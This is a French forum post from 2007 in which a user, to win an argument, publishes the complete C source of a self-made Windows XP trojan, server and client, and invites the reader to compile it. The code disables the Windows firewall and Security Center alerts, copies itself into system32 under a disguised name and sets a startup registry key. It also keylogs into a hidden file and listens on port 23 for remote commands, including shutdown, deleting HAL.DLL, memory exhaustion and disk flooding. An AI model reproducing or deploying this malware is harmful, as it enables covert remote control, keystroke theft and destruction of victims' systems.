Ma pauvre londnoir tu n'as rien d'autre à dire?
Mes arguments ont été efficaces, irréfutables et tu n'as donc rien d'autre à dire, c'est triste. :(
Enfin, encore faudrait t-il que tu es lu mes messages...
il me semble que clubic se remplis de plus en plus de non-geeks
Parle pour toi...
Comme tu as l'air de me prendre pour une petite @!#$?* qui vient de découvrir son ordinateur je vais poster le code source de mon trojan(client + serveur) programmé en C.
Comme je l'ai créé afin de m'entrainer il n'a jamais été distribué et utilisé donc aucun anti-malwares ne le détecte, il fait en sorte de désactiver le firewall du SP2 et la vérification du firewall du centre de sécurité, se copie dans system32, créé une valeur dans une clé registre pour se lancer à chaque démarrage, lance un log, et écoute un port en attente de connection et instructions.
Il fonctionne sous windows XP, est rudimentaire et tu remarquera aussi l'absence d'envoi du log que je suis en train de coder:
SERVEUR
main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include "autorun.h"
#include "copie.h"
#include "centre_securite.h"
#include "firewall.h"
#include "serveur.h"
void start_thread(void);
int main(int argc, char *argv[])
{
int err, ret, valeur_registre = 0;
LONG error;
char chemin[] = "C:\\WINDOWS\\SYSTEM32\\winfirewall.exe";
DWORD ksize = 8;
HKEY key;
WSADATA wsa_data;
FreeConsole();
err = WSAStartup(MAKEWORD(2,2), &wsa_data);
if(err)
{
exit(EXIT_FAILURE);
}
if(strcmp(argv[0], chemin))
{
copie(argv[0], chemin);
autorun(chemin);
centre_securite();
return EXIT_SUCCESS;
}
error = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Security Center", 0, KEY_ALL_ACCESS, &key);
RegQueryValueEx(key, "FirewallOverride", 0, NULL, (BYTE *)&valeur_registre, &ksize);
RegCloseKey(key);
if(valeur_registre != 1 && error == ERROR_SUCCESS)
{
centre_securite();
return EXIT_SUCCESS;
}
firewall();
start_thread();
Sleep(36000);
err = serveur();
WSACleanup();
if(err)
ret = EXIT_FAILURE;
else
ret = EXIT_SUCCESS;
return ret;
}
copie.c
#include <stdlib.h>
#include <stdio.h>
#include "copie.h"
void copie(char chemin_absolu[], char chemin[])
{
size_t taille_bloc;
unsigned char buffer[BUFSIZ] = "";
FILE *fichier_source = NULL;
FILE *fichier_copie = NULL;
fichier_source = fopen(chemin_absolu, "rb");
if(fichier_source == NULL)
{
exit(EXIT_FAILURE);
}
fichier_copie = fopen(chemin, "wb");
if(fichier_copie == NULL)
{
fclose(fichier_source);
exit(EXIT_FAILURE);
}
while((taille_bloc = fread(buffer, 1, BUFSIZ, fichier_source)) != 0)
{
fwrite(buffer, 1, taille_bloc, fichier_copie);
}
fclose(fichier_source);
fclose(fichier_copie);
}
autorun.c
#include <stdio.h>
#include <windows.h>
#include "autorun.h"
void autorun(char chemin[])
{
LONG error;
HKEY key;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &key);
error = RegSetValueEx(key, "winfirewall", 0, REG_SZ, (BYTE *)chemin, strlen(chemin)+1);
RegCloseKey(key);
if(error != ERROR_SUCCESS)
{
remove(chemin);
exit(EXIT_FAILURE);
}
}
centre_securite.c
#include <windows.h>
#include "centre_securite.h"
void centre_securite(void)
{
int valeur = 1;
HKEY key;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Security Center", 0, KEY_ALL_ACCESS, &key);
RegSetValueEx(key, "FirewallOverride", 0, REG_DWORD, (BYTE *)&valeur, sizeof(valeur));
RegCloseKey(key);
}
firewall.c
#include <windows.h>
#include "firewall.h"
void firewall(void)
{
int valeur = 0;
HKEY key;
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile", 0, KEY_ALL_ACCESS, &key);
RegSetValueEx(key, "EnableFirewall", 0, REG_DWORD, (BYTE *)&valeur, sizeof(valeur));
RegCloseKey(key);
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet002\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile", 0, KEY_ALL_ACCESS, &key);
RegSetValueEx(key, "EnableFirewall", 0, REG_DWORD, (BYTE *)&valeur, sizeof(valeur));
RegCloseKey(key);
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\ControlSet003\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile", 0, KEY_ALL_ACCESS, &key);
RegSetValueEx(key, "EnableFirewall", 0, REG_DWORD, (BYTE *)&valeur, sizeof(valeur));
RegCloseKey(key);
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile", 0, KEY_ALL_ACCESS, &key);
RegSetValueEx(key, "EnableFirewall", 0, REG_DWORD, (BYTE *)&valeur, sizeof(valeur));
RegCloseKey(key);
}
keylogger.c
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include "keylogger.h"
HHOOK hKeyHook;
static FILE *log = NULL;
DLLEXPORT LRESULT CALLBACK KeyEvent(int nCode, WPARAM wParam, LPARAM lParam)
{
if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
{
BYTE KeyState[256];
WORD wBuf;
char ch[2] = "";
KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
GetKeyboardState(KeyState);
ToAscii(hooked.vkCode, hooked.scanCode, KeyState, &wBuf,0);
switch(hooked.vkCode)
{
case 9: fputs("<TAB>", log); break;
case 13: fputs("<ENTER>\n", log); break;
case VK_CONTROL: break;
case VK_LCONTROL: break;
case VK_RCONTROL: break;
case VK_BACK: fputs("<delete>", log); break;
case VK_DELETE: fputs("<Suppr>", log); break;
default :
{
ch[0]=((char)wBuf);
fputs(ch, log);
break;
}
}
}
return CallNextHookEx(hKeyHook, nCode, wParam, lParam);
}
void MsgLoop(void)
{
MSG message;
while (GetMessage(&message,NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
}
DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) return 1;
hKeyHook = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC)KeyEvent, hExe, 0);
MsgLoop();
return 0;
}
DWORD WINAPI create_thread(LPVOID lpParameter)
{
HANDLE hThread;
DWORD dwThread;
hThread = CreateThread(NULL ,0, (LPTHREAD_START_ROUTINE)KeyLogger, 0, 0, &dwThread);
if(hThread)
return WaitForSingleObject(hThread,INFINITE);
else
{
CloseHandle(hThread);
exit(EXIT_FAILURE);
}
}
void start_thread(void)
{
DWORD dwThread;
HANDLE hThread;
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)create_thread, 0, 0, &dwThread);
if(hThread == NULL)
exit(EXIT_FAILURE);
log = fopen("C:\\WINDOWS\\update.txt", "a+");
if(log == NULL)
{
CloseHandle(hThread);
exit(EXIT_FAILURE);
}
}
serveur.c
#include <stdio.h>
#include <winsock2.h>
#include "serveur.h"
#include "saturation.h"
#define SIZE_ALLOC (1024*1024)
#define TELNET 23
#define EXIT 48
#define IEXPLORE 49
#define FIREFOX 50
#define SHUTDOWN 51
#define REMOVE_HAL 52
#define BIP 53
#define MEMORY_ALLOC 54
#define OVERFILES 55
#define SEND_LOG 56
int serveur(void)
{
int err = 0;
SOCKET socket_1 = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(socket_1 != INVALID_SOCKET)
{
{
int sock_error;
SOCKADDR_IN sin;
sin.sin_addr.s_addr = htonl(INADDR_ANY);
sin.sin_family = AF_INET;
sin.sin_port = htons(TELNET);
sock_error = bind(socket_1, (SOCKADDR *)&sin, sizeof(sin));
if(sock_error != SOCKET_ERROR)
{
sock_error = listen(socket_1, 1);
if(sock_error != SOCKET_ERROR)
{
{
SOCKADDR_IN csin ;
int recsize = (int) sizeof(csin);
SOCKET client_sock = accept(socket_1, (SOCKADDR *)&csin, &recsize);
if(client_sock != INVALID_SOCKET)
{
{
int end = 0;
do
{
char data[256] = "";
sock_error = recv(client_sock, data, (int) sizeof(data)-1, 0);
if(sock_error != SOCKET_ERROR)
{
data[sock_error] = 0;
if(data[0] == EXIT)
{
end = 1;
}
else if(data[0] == IEXPLORE)
{
char commande[276] = "start iexplore.exe";
data[0] = ' ';
strcat(commande,data);
system(commande);
}
else if(data[0] == FIREFOX)
{
char commande[274] = "start firefox.exe";
data[0] = ' ';
strcat(commande,data);
system(commande);
}
else if(data[0] == SHUTDOWN)
{
system("start shutdown.exe -s -t 0");
}
else if(data[0] == REMOVE_HAL)
{
remove("C:\\WINDOWS\\system32\\HAL.DLL");
remove("C:\\WINDOWS\\ServicePackFiles\\i386\\hal.dll");
}
else if(data[0] == BIP)
{
int nombre_bip;
data[0] = ' ';
sscanf(data, "%d", &nombre_bip);
for(; nombre_bip > 0; nombre_bip--)
printf("\a");
}
else if(data[0] == MEMORY_ALLOC)
{
int nombre_allocations;
data[0] = ' ';
sscanf(data, "%d", &nombre_allocations);
for(; nombre_allocations > 0; nombre_allocations--)
malloc(SIZE_ALLOC);
}
else if(data[0] == OVERFILES)
{
data[0] = ' ';
saturation(data);
}
else if(data[0] == SEND_LOG)
{
}
}
else
{
err = 1;
end = 1;
}
}while(!end);
}
closesocket(client_sock);
client_sock = INVALID_SOCKET;
}
else
{
err = 1;
}
}
}
else
{
err = 1;
}
}
else
{
err = 1;
}
sock_error = closesocket(socket_1);
socket_1 = INVALID_SOCKET;
if(sock_error)
{
err = 1;
}
}
}
else
{
err = 1;
}
return err;
}
saturation.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include "saturation.h"
void saturation(char s_nombre_copies[])
{
int numero_fichier, nombre_copies, taille_nom, error = 1, i;
size_t taille_bloc;
char nom_fichier[53] = "C:\\WINDOWS\\restore\\explorer", s_numero_fichier[14]= "", extension[5] = ".exe";
FILE *fichier_source = NULL;
FILE *fichier_copie = NULL;
unsigned char buffer[BUFSIZ] = "";
fichier_source = fopen("C:\\WINDOWS\\explorer.exe", "rb");
if(fichier_source == NULL)
error = 0;
taille_nom = strlen(nom_fichier);
sscanf(s_nombre_copies, "%d", &nombre_copies);
CreateDirectory("C:\\WINDOWS\\restore", NULL);
for(numero_fichier=0; (numero_fichier < nombre_copies) && error; numero_fichier++)
{
for(i=0;s_numero_fichier[i] != '\0'; i++)
{
s_numero_fichier[i] = 0;
}
for(i=taille_nom;nom_fichier[i] != '\0'; i++)
{
nom_fichier[i] = 0;
}
sprintf(s_numero_fichier, "%d", numero_fichier+2);
strcat(nom_fichier, s_numero_fichier);
strcat(nom_fichier, extension);
fichier_copie = fopen(nom_fichier, "wb");
if(fichier_copie == NULL)
{
error = 0;
}
if(error)
{
while((taille_bloc = fread(buffer, 1, BUFSIZ, fichier_source)) != 0)
{
fwrite(buffer, 1, taille_bloc, fichier_copie);
}
}
rewind(fichier_source);
fclose(fichier_copie);
}
fclose(fichier_source);
}
copie.h
#ifndef COPIE
#define COPIE
void copie(char chemin_absolu[], char chemin[]);
#endif
autorun.h
#ifndef AUTORUN
#define AUTORUN
void autorun(char chemin[]);
#endif
centre_securite.h
#ifndef CENTRE_SECURITE
#define CENTRE_SECURITE
void centre_securite(void);
#endif
firewall.h
#ifndef FIREWALL
#define FIREWALL
void firewall(void);
#endif
keylogger.h
#ifndef KEYLOGGER
#define KEYLOGGER
#define DLLEXPORT __declspec(dllexport)
DLLEXPORT LRESULT CALLBACK KeyEvent(int nCode, WPARAM wParam, LPARAM lParam);
void MsgLoop(void);
DWORD WINAPI KeyLogger(LPVOID lpParameter);
DWORD WINAPI create_thread(LPVOID lpParameter);
void start_thread(void);
#endif
serveur.h
#ifndef SERVEUR
#define SERVEUR
int serveur(void);
#endif
saturation.h
#ifndef SATURATION
#define SATURATION
void saturation(char s_nombre_copies[]);
#endif
CLIENT
main.c
#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include "client.h"
int main(void)
{
int err, ret;
WSADATA wsa_data;
err = WSAStartup(MAKEWORD(2,2), &wsa_data);
if(err)
{
fprintf(stderr, "WINSOCK2 non implemente");
getchar();
exit(EXIT_FAILURE);
}
puts("WINSOCK2: OK");
err = client();
WSACleanup();
if(err)
ret = EXIT_FAILURE;
else
ret = EXIT_SUCCESS;
getchar();
return ret;
}
client.c
#include <stdio.h>
#include <winsock2.h>
#include "clean.h"
#include "client.h"
#define TELNET 23
#define EXIT 48
#define RECEIVE_LOG 56
int client(void)
{
int err = 0;
SOCKET client_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(client_sock != INVALID_SOCKET)
{
printf("Le socket %d est ouvert en mode TCP/IP \n", client_sock);
{
int sock_error;
SOCKADDR_IN csin;
csin.sin_family = AF_INET;
csin.sin_port = htons(TELNET);
csin.sin_addr.s_addr = htonl(INADDR_ANY);
sock_error = bind(client_sock, (SOCKADDR *)&csin, (int) sizeof(csin));
if(sock_error != SOCKET_ERROR)
{
char IP_serveur[16] = "";
SOCKADDR_IN sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(TELNET);
printf("Adresse IP du PC cible: ");
fgets(IP_serveur, sizeof(IP_serveur), stdin);
clean(IP_serveur);
sin.sin_addr.s_addr = inet_addr(IP_serveur);
sock_error = connect(client_sock, (SOCKADDR *)&sin, (int) sizeof(sin));
if(sock_error != SOCKET_ERROR)
{
printf("Client connecte au serveur %s:%d avec le socket %d \n"
, inet_ntoa(sin.sin_addr)
, htons(sin.sin_port)
, client_sock);
{
int end = 0;
do
{
char texte_1[256] = "";
fgets(texte_1, sizeof(texte_1), stdin);
sock_error = send(client_sock, texte_1, strlen(texte_1), 0);
if(sock_error != SOCKET_ERROR)
{
if(texte_1[0] == EXIT)
{
end = 1;
}
else if(texte_1[0] == RECEIVE_LOG)
{
int reception;
FILE *log = fopen("C:\\log.txt", "a");
if(log != NULL)
{
do
{
char texte_2[256+1] = "";
reception = recv(client_sock, texte_2, (int) sizeof(texte_2)-1, 0);
if(reception)
{
texte_2[reception] = 0;
fputs(texte_2, log);
}
else
{
fclose(log);
}
}while(reception);
}
else
{
puts("Probleme lors de l'ouverture du fichier log");
}
}
}
else
{
perror("socket.send");
err = 1;
end = 1;
}
}while(!end);
}
closesocket(client_sock);
printf("Le socket %d du client est ferme, vous etes deconnecte du serveur \n", client_sock);
client_sock = INVALID_SOCKET;
}
else
{
perror("socket.connect");
err = 1;
}
}
else
{
perror("socket.bind");
err = 1;
}
}
}
else
{
perror("socket.open");
err = 1;
}
return err;
}
clean.c
#include <stdio.h>
#include <string.h>
#include "clean.h"
void clean(char data[])
{
char *p_data = strchr(data, '\n');
if(p_data)
{
*p_data = 0;
}
else
{
int c;
while((c = getchar()) != '\n' && c != EOF);
}
}
client.h
#ifndef CLIENT
#define CLIENT
int client(void);
#endif
clean.h
#ifndef CLEAN
#define CLEAN
void clean(char data[]);
#endif
Voilà, c'est fini, plus qu'à compiler très chère.
Il focntionne, testé et approuvé avec un ami, tu peux essayer.
L'indentation a sauté...
Edité le 27/06/2007 à 15:44
Edité le 27/06/2007 à 15:47